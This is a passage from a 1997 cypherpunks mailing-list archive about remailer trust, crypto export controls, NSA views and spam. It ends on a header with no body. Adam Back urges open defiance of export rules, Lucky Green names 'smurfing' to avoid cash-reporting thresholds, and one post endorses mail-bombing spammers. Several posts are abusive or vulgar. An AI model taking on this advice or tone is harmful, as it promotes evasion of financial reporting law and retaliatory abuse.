> of these various and mutually-hostile groups would seem to be "unlikely."
> 
> Kent, stop babbling and spend a few hours reading up on the basics of how
> remailers work, the issues of collusion, and the discussions we've had for
> several years on these issues.

Hmm.  I did read, and I thought I understood this.  I claim that if
the remailers collude, then there in no anonymity.  Correct? Even if I
insert my own remailer in the list it doesn't help, if the others are
all in cahoots.  This seems pretty obvious.  They all compare logs, 
and saved copies of the messages, and my message can be tracked from 
beginning to end.  Right?

I see a list of remailers posted on cypherpunks periodically -- a
"cypherpunks" approved list, therefore.  Lucky Green admits publically
that he personally knows several of the remailer operators.  And 
clearly, remailer operators must share a common ideological focus...

There might even be a few honest remailer operators out there, but
undoubtedly they have been heavily diluted by those that are part of
the cypherpunks conspiracy.  So the odds of picking a colluding
remailer chain are pretty high.  When I send my mail the first one in
the chain will notice mail from songbird, and alert his buddies.  If
an honest remailer is in the chain the mail will conveniently be lost,
of course.  Only chains composed of co-conspirators will allow my mail
to get through... 

You will probably say that this was an insane conspiracy theory, and
that I don't understand how the remailers operate, and how
ideologically different the operators all are.  You might think that I
am ignorant, or being facetious, or that I am really just out of touch
with reality. 

But, on the other hand, you should be very familiar with this mode of
thought -- it is so similar to your "analyses" of the "gubmint".  You
are quite fond of clever caricatures, of sly and subtle inuendo, of
imputing slimy motives and conspiracies, of looking at the worst
in people...all justified by righteous anger, of course.  Of course,
to you righteous anger justifies murdering babies...("Broken eggs, and
all that." -- TCM)

However, it's not my prefered mode of thought, and I can't sustain it
for long: It does seem fairly unlikely that a large percentage of
remailers collude, and in theory it is probably fairly safe to send
through them.  At this time I can't really think of anything I have to
say that requires anonymity -- my comment to Lucky was intended to be
a light-hearted reference to my humble stature among the cypherpunks. 

"Negativity is an easy habit, often confused with sophistication."  
-- Anne Beetem

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 16 May 1997 10:28:48 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: [CRYPTO] Blowfish
In-Reply-To: <199705151850.OAA02276@dhp.com>
Message-ID: <Pine.A41.3.95.970515200303.62212B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back
to him.                                                          
   On Thu, 15 May 1997, lucifer Anonymous Remailer wrote:

> Here, Tim C. May descends into total inanity. He should have a cold 
> shower and/or a Turkish coffee.
> 
>           ___\
>          <o   \__o  Tim C. May
>           X\     X>
>         _/_\____<_\_
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 16 May 1997 11:32:54 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Just Say "No" to Congress
In-Reply-To: <v03007802af9fa094e283@[207.167.93.63]>
Message-ID: <v03007805afa190790dd7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:22 PM -0800 5/15/97, Greg Broiles wrote:
>At 09:13 AM 5/14/97 -0800, Tim May wrote:
>>Feinswine/Swinestein is the most despicable of all the politicians in
>>Congress. (This is not just ideology speaking...her usual-ally Barbara
>>Boxer is much less swinish, and even has some independent thoughts. I can't
>>see I often agree with Boxer, but she's not the Big Sister automaton that
>>Swinestein is.)
>
>FYI, Boxer is now (as of 5/12/97) a cosponsor of Sen. Leahy's ECPA/1997
>(Encrypted Communications  Privacy Act of 1997) - that's the bill with the
>complex structure for "voluntary" key recovery and criminal penalties for
>use of crypto  "in furtherance of" felony.
>

As I said, I am no ideological ally of Boxer. Her style is less swinish, to
my way of thinking, than Feinstein's is.

(In much the same way I find Stewart Baker, formerly of the NSA, less
irritating than Dorothy Denning, though of course Baker is proably more
dangerous than Denning.)

Both Boxer and Feinstein are ideological peas in a pod, of course.
Stylistically, and perhaps as human beings, they are far apart.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 16 May 1997 11:57:51 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: MSNBC poll on crypto
In-Reply-To: <v03007807afa123f9eedd@[168.161.105.191]>
Message-ID: <v03007806afa1921a6fd1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:55 PM -0800 5/15/97, Declan McCullagh wrote:
>Should the United States
>       remove restrictions on
>       the export of powerful
>       encryption technology?
>
>       * 283 responses
>
>       Unequivocally yes (84.1%)

You left out the very next question:

Should the United States allow unbreakable, military-grade cryptography to
be used undetectably by child pornographers, terrorists, and money
launderers?

         * 283 responses

         Unequivocally "No" (93.4%)


You see, it all depends on how the question is asked. I have long argued
that Americans are split, simultaneously, between two opposing world views:

"What have you got to hide?"

and

"None of your damned business."

Depending on the issue, or how the issue is phrased, either view may surface.

I certainly don't trust opinion polls. If MSNBC conducts a similar poll
after an Oklahoma City type of event, which we all have reason to suspect
is about to happen in the next six or seven months, and crypto is found to
be involved (seems likely), we can expect an opinion poll which arrives at
the "What have they got to hide" conclusion.

So?

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 17 May 1997 00:10:04 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: The Inducement of Rabid Anarchism in Certain Materialists...
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <3.0.1.32.19970515211039.005f2e68@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>> > That's not *my* definition, it's *the* definition, as described in a
>> > standard, reputable dictionary.  I realize that you have your own 
>> > private definition of the term, that you share with your friends and 
>> > an esoteric community.  

Sigh.  Calling something "*the* definition" of anarchy, when it's not
the definition anarchists use, doesn't cut it.  I realize that 
statists have convinced lots of people that "anarchy" means
"a bunch of bomb-throwing terrorists are going to run down the street
and kill your mama", but that's because they want to be in charge -
or at least have SOMEBODY be in charge, since they don't trust people
to act civilized without rulers who'll kill them if they don't behave. 

Whether you think anarchism *will* lead to bomb-throwing terrorists,
or in general whether it's a good or bad idea, is a separate argument.
But anarchists _ought_ to own the definition.  (Now, if you want to
split the anarchists by bringing up the propertarian vs. non-propertarian
issue and discuss whether "no property" is part of the definition
of anarchy or only a popular anarchist view, you'll end up with chaos (:-)
Around here you'll find mostly arachno-capitalists who think that
property is just fine, though not everyone agrees.
Over on soc.culture.anarchism, you'll find a lot more non-propertarians,
and an on-going squabble about Libertarianism.

One of your more interesting comments was on whether you can separate
the concepts of society and government - a fairly common view of 
government is that it needs to have a monopoly on the use of force to
preserve order, and therefore needs to have tax funding to exist,
and since you've got it around anyway you might as well use it for
things that are easiest to do in a centralized manner, and to do
things that require either social cooperation or lots of money;
a society like that will find government intertwined in its civil affairs,
and people will get out of the habit of organizing their own actions
without using government as a focus.  Other societies have used 
religious organizations to perform many of the same social functions -
if everybody's getting together weekly anyway, might as well talk about
the problems that have been going on, and raise the money needed to
feed the poor and patch the meetinghouse roof.  And other societies
have just done these things on a more individual basis, especially
in sparsely populated areas where there aren't outside invaders.
Of course, now that governments have taken over most of the world,
it's hard to find a place without outside invaders...

But people are still going to teach their kids what they need,
and people are still going to keep most of their agreements with
their neighbors, and they're still going to help each other resolve
arguments about the agreements that weren't kept, whether that
resolution is done by an armed posse, or by the offender's family
paying off the obligation in cattle, or by shunning people until they
do the right thing, or refusing to give credit to known deadbeats,
or whatever.  Government's only one choice.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 16 May 1997 12:33:52 +0800
To: cypherpunks@toad.com
Subject: Re: Just Say "No" to Congress
Message-ID: <199705160411.VAA21253@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> Tim wrote:
> > We're basically under assault from all directions. The bozos in Congress
> > and state governments are spinning out new laws and obscure regulations
> > faster than we can react...and of course they're using our money to
> > generate these laws and lobby for them. Further, a mostly-brainwashed
> > Washington media population is surprising uncritical of these blizzard
> > drifts of new laws.

> Hmmm... Do I get counted in the "mostly-brainwashed" category?
> 
> FYI, here are two bills that Feinstein introduced recently:

  I think you just showed the answer to the question is "Yes."
  Politicians build a house of mirrors with bills that they
"introduce"--agencies that they "propose" be funded--causes
that they "support."

  I'm not interested in a reporter quoting "the record" to me.
I can get that from Feinstein's glossy handouts. I want to know
what a politician has *done* for me (or against me), not how 
much she purports to *love* me.

  I enjoy many of your articles, Declan, but please--no more
"Senator XYZ introduced a bill that supports mom's apple pie
and the flag." tripe.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 16 May 1997 13:02:48 +0800
To: cypherpunks@toad.com
Subject: Kansas City.
Message-ID: <199705160432.VAA22270@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


  A new scheme to broadcast the names and faces of people arrested
for trying to buy and sell sex could mushroom into a full-fledged
challenge to U.S. constitutional law.
  Starting Thursday, a local government access cable television channel
will broadcast the names and faces of people arrested for
prostitution-related crimes. The first half-hour installment will feature
mugshots of alleged purveyors of sex and the customers who offered to pay
for it.
  Supporters of the plan hope that such public humiliation will help
efforts to crack down on prostitution. But opponents say it violates the
principle of ``innocent until proven guilty,'' a key tenet of U.S.
criminal law.
  ``The city is setting out to punish with ridicule people who have not
been convicted of anything,'' said Dick Kurtenbach, executive director of
the American Civil Liberties Union (ACLU) of Kansas and western Missouri.
``The presumption of innocence is really turned on its head with this
scheme.''
  Both supporters and opponents say that although U.S. media groups
regularly publish the names of people arrested and charged with crimes,
this may be the first time a government entity broadcasts the identities
of alleged wrongdoers.
  ``As far as we can tell, this is the first jurisdiction that's putting
on TV names of people arrested. This is a fairly novel approach,''
Kurtenbach said.
  The plan was the brainchild of City Councilwoman Teresa Loar, who said
she hopes it will deter prostitution and the social ills -- drug use,
assault and robbery -- that commonly accompany it.
  ``I'm not here to persecute people. I just want them to know that they
run the risk of having their picture on the access channel if they try to
hire a prostitute,'' Loar said.
  Loar said she is aware of ACLU's criticisms, but she counters by saying
that arrests are a matter of public record. She noted that a disclaimer
will say that those people pictured are innocent until found guilty in a
court of law. 
  When asked why the city does not air the names of people actually
convicted of prostitution, Loar explained that few arrests in prostitution
sting operations actually lead to convictions. 
  ``Showing convictions wouldn't work -- because we don't get any. They
(the accused prostitutes and would-be customers) plead their way down and
pay a fine,'' Loar said. 
  Loar said she understands the idea of constitutional rights but feels
her constituents' rights are more pressing.
  ``As far as victims' rights go, my concern is my constituents' rights to
quality of life. Their rights are being violated every day with this
crime,'' Loar said.
  Constitutional law experts acknowledged that those people whose names
and faces wind up on television could sue the city but would probably lose
any claims alleging defamation or invasion of privacy. 
  But Doug Linder, law professor at University of Missouri-Kansas City,
said it may be possible to claim that the broadcast constitutes a form of
punishment, which legally has to be meted out through due process of law.
Plaintiffs could sue on the grounds that they were not given due process
to defend themselves, Linder said.
  ``One could argue that it is a form of punishment if the police
department or the city is providing their pictures,'' Linder said. ``These
people should have the opportunity to prove their innocence. I think there
might be a real constitutional claim there.''






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 16 May 1997 23:58:40 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: microstock market
In-Reply-To: <199705150015.RAA27036@netcom22.netcom.com>
Message-ID: <3.0.1.32.19970515213401.002ec988@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:15 PM 5/14/97 -0700, Vladimir Z. Nuri wrote:
>ultimately what cyberspace does in many ways is decrease
>the "granularity" of economic transactions.
...
>increasingly, I think you will see very small companies have
>stocks. you will also see a much better means by which an
>investor can judge the value of a company. the assets will
...
>what would be neat is if one could invest in very small
>companies or ideas. 

Really interesting post!  I think the net will simplify the
ownership issues and the publicity issues long before it
makes good information about the value of small companies
easy to get.  That's far more dependent on the personalities
of the players in a company (hard to judge, except in person),
the ideas the company's trying to develop into products/services
(may need non-disclosure arrangements, may need privacy to 
develop in, may not want to waste their time publicizing each
step in their decision processes, contract negotiations are
usually very private, etc.)  

On the other hand, the net can often help those parts of a business.
The Cygnus Support folks have done well in a very open environment.
I recently talked with a headhunter who'd seen my discussion with 
someone on Usenet and wanted an opinion about the guy;
the headhunter was doing a lot of in-depth web searching to find 
people who might be interested or qualified for a position he was
trying to fill.  It's amazing what AltaVista knows about you,
especially with DejaNews around...

Venture capital firms provide some value to their investors
by managing the granularity of the transactions, but they also
add value by providing personal understanding of the companies 
they're evaluating whether to invest in.  Information wants to be free,
or is at least cheap to copy, but providing the personal attention
needed to understand and analyze information and make good decisions on it
is still expensive.  The nets can improve the
information they have available on both the company and the market,
and can provide better information to investors about what 
venture capital analysts are good at evaluating what kinds of businesses.
Will the nets split these businesses up into individual
venture-advice-consultants competing for investors?  Or will the 
lead to broader coordination between venture capital businesses?  
Or both?

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 16 May 1997 10:21:38 +0800
To: cypherpunks@toad.com
Subject: MSNBC poll on crypto
Message-ID: <v03007807afa123f9eedd@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Should the United States
       remove restrictions on
       the export of powerful
       encryption technology?

       * 283 responses

       Unequivocally yes (84.1%)

       Yes, but only if law enforcement
       is given the keys to break the
       encryption when necessary.
       (9.9%)

       No, maintain the status quo.
       (1.8%)

       No. In fact, the restrictions
       should be tightened. (4.2%)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 17 May 1997 00:07:09 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <3.0.1.32.19970515220724.005f3528@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>> foreign intelligence agents
>>> myths.  disinformation.

It may be myth now, but we can work to change that!  (:-)

There may not be agents of Non-US Governments running remailers
that we know about yet, but there are intelligent Non-US individuals
running them, and Anarchists in North America, and 
Anarchists outside North America running remailers,
which if you're in the US Government is at least semi-threatening...
And the US Naval Research Labs folks are building Onion Routers,
which are relatively similar to remailers, and they're
Foreign Government Agents from the perspective of non-US cypherpunks.

A more common approach for government agents has been to post
news and send mail from various Internet addresses of convenience;
some of it has certainly been propaganda, and some has been
deliberate false information, as well as some being just
strongly-held beliefs of people I happen to disagree with.

If your remailer system is well-designed, running your mail through
the occasional KGB and CIA remailer is just fine, as long as you
also run it through systems you hope you can trust.  Even at that,
you may trust Alice B. Cypherpunk to run an honest remailer,
knowing that she's got a strong ethical policy against logging,
and not know that the NSA broke into her machine last year
and is been running a wiretap that's "perfectly US-legal" because
she's based in Amsterdam.

>Lucky, since I am considered contemptible by several c'punks, I worry
>about them more than I would about foreign intelligence agents. 
>I have actually considered sending some things through the remailers,
>but I don't trust them -- I don't find cypherpunks any less
>susceptible to ideology than foreign agents... 

Are you aware of any cypherpunks remailers publicizing their log files,
at least beyond their published policies (e.g. the "You SPAM, You Die"
policy that some remailers announce.)  The main events of this type
I know of are Julf Helsingius and maybe one of the Dutch remailers
giving the name of anti-Scientologist to the police when ordered 
by a court, and Julf closed anon.penet.fi after that.
There have been some remailer operators who will help track down hate mail
in response to complaints, and some who will help track down 
high-volume spammers, and they generally make their policies known;
others only do blocking.

Back when I was running a remailer, what I saw from the bouncemail
and the complaints was a certain fraction of attack-mail,
which I dealt with by blocking recipients, a fair bit of spam
such as phone-sex ads to usenet (ignored), a lot of test messages
(sometimes ignored, sometimes diagnosed), and a lot of help requests
with incorrect headers (which I generally tried to reply to,
especially after I'd killed the remailer.)  The only times I 
checked non-bounced mail (other than testing my remailer code)
was to clean out high-volume spam (my remailer was set to shut down
at certain volume levels) and to remove queued mail for people who
complained, (and of course if the spammers had the sense
to encrypt their spam, that wouldn't have shown much either.)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 16 May 1997 13:26:24 +0800
To: Steve Schear <cypherpunks@cyberpass.net
Subject: Re: Reporting threshold for NY money transfers lowered
Message-ID: <3.0.32.19970515220728.0074f42c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:30 PM 5/15/97 -0700, Steve Schear wrote:
>Smaller operators
>could deposit the funds in their demand deposit accounts or sell to
>Aggregators who would offer to take any CTR related heat.

I believe the term is "smurfing".



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 16 May 1997 14:06:49 +0800
To: cypherpunks@toad.com
Subject: Re: Response to "SAFE bill and cutting crypto-deals"
Message-ID: <199705160538.WAA25828@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> 
> Date: Thu, 15 May 1997 01:56:20 -0400
> From: Jason Gull <jgull@UMICH.EDU>
> 
>   We already have federal laws
> which make the use of a telephone or the mails to commit a felony into an
> additional offense, so this provision -- quite similar to obstruction of
> evidence, from the look of it -- doesn't seem at odds with precedent.

  Precedent concerns citing the fact that the citizens are already 
getting fucked with a 2" Green Dildo, so therefore there is a 
precedent for them to get fucked with 2" Blue Dildos.

>  Granted,
> there's the danger of the "slippery slope" -- that allowing any
> restrictions on crypto will lead to a gradual encroachment of government
> into other uses of cryptography. 

  I've never seen a 2" Government Dildo that didn't grow in an
expoential manner every time a Congressperson farted.

> However, whether or not it is a good
> idea or not, politics and previosu law seem to firmly support such a
> provision.

  I'll rush right out and inform Che Guava and the Posse Comatose.

  When Dr. Roberts is done helping Kent get the stick out of his
butt, perhaps he can do something about your cataracts.

Del Do






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 16 May 1997 13:59:16 +0800
To: cypherpunks@toad.com
Subject: Re: Spam IS Free Speech
Message-ID: <199705160538.WAA25833@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Ross Wright wrote:
>  >   Gander. Goose.
> 
> Right.  If I send you a gig, you send me a gig.  If I send you a meg
> you send me a meg.  A few bytes for a few bytes.  Are you following
> what has upset me about this issue, yet?  Like for Like, Goose,
> Gander.  You said it, but you don't mean it.

  Pardon me.
  Gander. Humongous fucking goose.
 
> Right?  You are saying if I send you one message, you have the right
> to mail bomb me?  There's no parity there.

  All's fair in love and Penis War.
  Your argument seems to center around the theme that those who dick
everyone a little have no right to expect to be repaid in lump (pardon
the pun) sum.

  You neglect to point out that those who use technology to send spam
to millions of random addresses go to great pains to prevent those who
receive their crapola from replying to the source of the spam.
  The fact is, anyone who chooses to return their crap in kind has my
personal proxy to send them my share, as well. I am certain that if you
take a poll on this you will find a few million others who will also
give them this proxy.

Penis Warrior






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 16 May 1997 06:11:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Civil Disobediance
In-Reply-To: <199705150652.XAA21425@fat.doobie.com>
Message-ID: <199705152201.XAA02581@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Dr Roberts writes:
> Perhaps there is a way to turn the training on the trainers?  Civil
> disobediance is the best way to do this.  Were a relatively small
> number of people, a thousand for instance, to post the "RSA in 3
> lines" code to the world, it would be highly unlikely that anybody at
> all would be prosecuted, 

Many 1000s of people have exported it.  See also Vince Cate's arms
trafficker page.

	http://online.offshore.com.ai/arms-trafficker/

Around 3000 T-shirts were sold also.  Guess there are a fair number of
people practicing civil disobedience in the US as a result.  They're
still selling, see:

	http://www.dcs.ex.ac.uk/~aba/uk-shirt.html

for order info.

While it's probably technically illegal to export, it clearly doesn't
get you in trouble to export it.  Raph Levien sent off a Commodity
Jurisdiction Request together with a sample T-shirt to ask permission
to export the T-shirt under the ITAR regulations.  They did not answer
his request.  I presume that they viewed either a "yes" or a "no" as a
loose for them.  If they say no, they open themselves for mockery in
the press, if they say yes, we progress the situation.  Export on
paper?  Floppy?  Internet?  Bigger programs.

I'd guess the request is now outdated by the token change in export
regulations (in reality mostly a name change) to EAR regulations which
transferred jurisdiction to the commerce department.  It might be
interesting to ask them for permission to export it.  If anyone wants
to do this, I'll supply a sample T-shirt :-)

Looks like the laws may make another token name change again, but
remain the same again, with a SAFE, doubtless with key-escrow bolted
on during the compromise with NSA and LE interests stage of
negotiations.

> particularly if a sizeable number of these people were professors,
> graduate students, professionals at well known companies,
> journalists, politicians?, or otherwise prominent people.  The whole
> situation would be so absurd they would never dare take it to court.

I'd always hoped that someone could make a good PR job of ridiculing
the export regulations with this.  So far it never really got much
further than the NSA/ODTC ignoring the CJR request of Raphs.  Also,
Duncan Frissell caused a bit of a stir at CFP a few years back with
the program on labels which he handed to attenders.  Vince Cate had a
bit of success also.  The shirts have been on French TV, which is
significant also due to French crypto regulations which are worse than
the US regulations.

> The longer somebody waits, the less opportunity they have to tell
> their grandkids "I was the 500th person to publically export RSA
> back in the late 20th century.  The government was actually trying
> to make math illegal!"  Best of all, anybody "fortunate" enough to
> be a U.S. citizen can participate, even if they don't write code
> themselves.

A while back I did a cgi binary which exported the PGP.EXE out of
pgp262i in uuencoded parts, 3 lines at a time.  Came out at 713 parts.
Maybe that would be more symbolic.  People weren't so keen to export
that as they were to export the perl rsa sig.

When I announced the url, people posted "I got no 7, who got the 1st
part?" etc.  See:

	http://www.dcs.ex.ac.uk/~aba/export/

Of course this wasn't my idea, it had been discussed on the list
several times before, I just took advantage of my position outside the
crypto curtain to actually do it.

It's a bit out of date - it's talking about ITAR, that should be EAR
now.

> Having established beyond any doubt that the export of RSA was
> possible without repercussions, the lesson will be driven home by
> group releases of successively longer mathematical works expressed in
> source code.  

I think this has been established.  Vince Cate's exporters page sends
president@whitehouse.gov a protest letter together with the rsa sig.
There is a log of exporters.  Lots of names on it.

> The first release will be the most challenging.  In no time at all
> everybody - including everybody in the government - will find
> themselves accustomed to the idea that laws against mathematics are
> absurd.  (Even Senators will be able to grasp this unchallenging
> concept.)

I think Vince says on his pages that he got a mention on CNN of his
arms trafficker page.  I'd encourage anyone to use the sig, or
t-shirts, mailing labels or the guy with the tattoo of the .sig to
cause all the embarrasment they can for the US government.

> The way to get started is for people to pledge to post "RSA in 3
> lines" if certain conditions are met.  For instance, "I will post 'RSA
> in 3 lines' if 500 people promise to do it as well, among them being
> Michel Foucault, Jacob Bernoulli, and Blaise Pascal."  No risk need be
> taken without allies!

Well, it does seem to me at times that people in the US are being too
timid about the whole situation.  I mean if everyone just openly
ignored the stupid laws, you might think they would go away by
default, just to catch up with reality.  

Much hand-wringing is spent putting no-export warnings on code,
obfuscating the download process to discourage non-US people, and
warning others not to export.

Clearly for the individual there are few ill-effects from exporting
the 3 lines of perl.  (Actually 2 lines now see below).  Probably
nothing much would happen if you personally just uuencoded PGP and
spammed USENET with it.  I mean it would make not one iota of
difference as it's already universally available on ftp sites and web
pages.

Phil Zimmermann and Kelly Goen were hassled over their export, but
it's too late to worry about PGP now.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 16 May 1997 14:02:08 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymous Remailers
Message-ID: <199705160536.XAA21177@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:

> Further, a clever little fix is to make one's own remailer site a link in
> the chain. All a snooping subset of remailers can do is trace the message
> back to your own remailers. Obviously, they can't know if the message was
> merely _remailed_ through your site, or _originated_ there. Thus, including
> oneself as a remailer also provides excellent plausible deniability.)

  This is a lame idea with no merit whatsoever.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 16 May 1997 14:35:27 +0800
To: cypherpunks@toad.com
Subject: Re: Just Say "No" to Congress
Message-ID: <199705160607.AAA23128@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri wrote:
> anyone who disbelieves in the authority of the US government
> yet sends them their tax money is a hypocrite.

  Horseshit. That's no different from saying that anyone who
disbelieves in the authority of armed robbers yet gives them
their wallet is a hypocrite.
  Do you actually put any thought into your posts?

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 16 May 1997 16:06:44 +0800
To: Thomas Porter <cypherpunks@cyberpass.net
Subject: Re: NSA _likes_ strong crypto?
In-Reply-To: <v0300781cafa0ea98034c@[207.94.249.70]>
Message-ID: <v03007824afa1b9519aad@[207.94.249.70]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:07 PM -0700 5/15/97, Thomas Porter wrote:
>At 09:32 AM 5/15/97 -0700, Bill Frantz thoughtfully expounded thus:
>
>>
>>During a hall discussion at CFP, I heard that people at NSA are changing
>>their opinions about the use of strong crypto in the general community.
>>The reason is the threat of InfoWar and the need for strong crypto in
>>general use to secure the US information infrastructure.
>
>...
>How does this strength of encryption compare to whatever might be used to
>"secure the nation's info infrastructure" [Netscape 40 bit!!??] regarding
>cracking time?

I believe that the person who made this statement shares the standard
cyperpunk definition of "strong crypto".  I.e. Unbreakable before the heat
death of the universe.

IMHO, this view comes from the fact that most foreign government and
international terrorist communication is already strongly encrypted, so
having strong systems in wider use does very little to reduce NSA's
intelligence gathering abilities.  (See "Secret Power, New Zealand's role
in the international spy network" by Nicky Hager for evidence supporting
this view.)  Since part of NSA's job is to defend the USA against foreign
enemies, this faction has decided that the benefits of widespread strong
crypto outweigh the costs, a very cypherpunk view.

To go even further out on a limb, there may be a NSA faction that worries
about the inevitable weakness that GAK inserts in any crypto system.  NSA
was badly burned by the weaknesses in Clipper.

Tim May wrote:
>Left as an exercise is whether subsequent policy actions by NSA and D.C. in
>general are consistent with this "Crypto Perestroika" (tm).

I am speaking of a faction within NSA.  They may represent the agencies
position and have been shot down by the White House, or they may have lost
within the agency.  We have no way of knowing which.  (Do we?)


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Fri, 16 May 1997 16:29:48 +0800
To: cypherpunks@algebra.com
Subject: PGPMail keets tabs on you!
